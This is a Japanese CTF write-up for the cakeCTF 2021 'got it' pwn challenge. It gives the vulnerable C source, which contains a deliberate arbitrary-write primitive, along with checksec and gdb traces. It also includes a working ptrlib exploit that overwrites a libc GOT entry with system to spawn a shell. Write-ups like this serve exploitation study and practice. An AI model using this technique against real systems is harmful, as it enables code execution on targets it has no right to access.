cakeCTF 2021 got it upsolve

  • ~2.36K Words
  1. 1. cakectf 2021 got it
    1. 1.1. chall
    2. 1.2. sol
    3. 1.3. 理由

cakectf 2021 got it

chall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <unistd.h>

void main() {
char arg[10] = {0};
unsigned long address = 0, value = 0;

setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("<main> = %p\n", main);
printf("<printf> = %p\n", printf);

printf("address: ");
scanf("%p", (void**)&address);
printf("value: ");
scanf("%p", (void**)&value);
printf("data: ");
scanf("%9s", (char*)&arg);
*(unsigned long*)address = value;

puts(arg);
_exit(0);
}

sol

読み込みで、任意のアドレスを書き換えることができるので、putsに対してgot overwriteすればよさそう…?

1
2
3
4
5
6
7
❯ checksec --file=chall                              
[*] '/home/kanon/CTFs/CTF/pwn/got_it/distfiles/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

ただ、RELROが Full RELROなので難しそうとなる。なので、putsの中を見ていく…

幾つかのcall関数があり、siで更に奥地を覗いていくと

1
2
3
4
5
6
7
8
9
0x55a7d84dd2fe <main+325>    call   puts@plt

0x55a7d84dd0a4 <puts@plt+4> jmp qword ptr [rip + 0x2f0e] <puts>

0x7f6dbacd4be8 <puts+24> call *ABS*+0xb4cb0@plt <*ABS*+0xb4cb0@plt>

0x7f6dbac75504 <*ABS*+0xb4cb0@plt+4> jmp qword ptr [rip + 0x1da70e] <__strlen_avx2>

0x7fe2baff1c49 <puts+121> call qword ptr [r15 + 0x38] <_IO_file_xsputn>

より、__strlen_avx2 or _IO_file_xsputnが書き換えられそう…?と思って配布されたlibcを見るとPartial RELROでしたので、libcでのgot overwriteできそう..?

ただ、うまく動きません…

理由

現在、linuxで配布されているlibcはFull RELROなので、すべてのgotに上書きができなくなっています…(これはdockerにあるlibcも同様です)

ということはlibcを問題出された当初のものに付け替えてやれば解けそうですね

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from ptrlib import *

# io = process("./chall")
io = remote("nc localhost 9003")
main = eval(io.recvlineafter(b"= "))
printf = eval(io.recvlineafter(b"= "))
elf = ELF("./libc-2.31.so")
# elf = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
base_puts = elf.symbol("puts")
base_printf = elf.symbol("printf")
base_syetem = elf.symbol("system")

elf.base = printf - base_printf
diff = 0x202c12 + elf.base

io.sendline(p64(diff))
io.sendline(p64(elf.symbol("system")))
io.sendline("/bin/sh")

io.sh()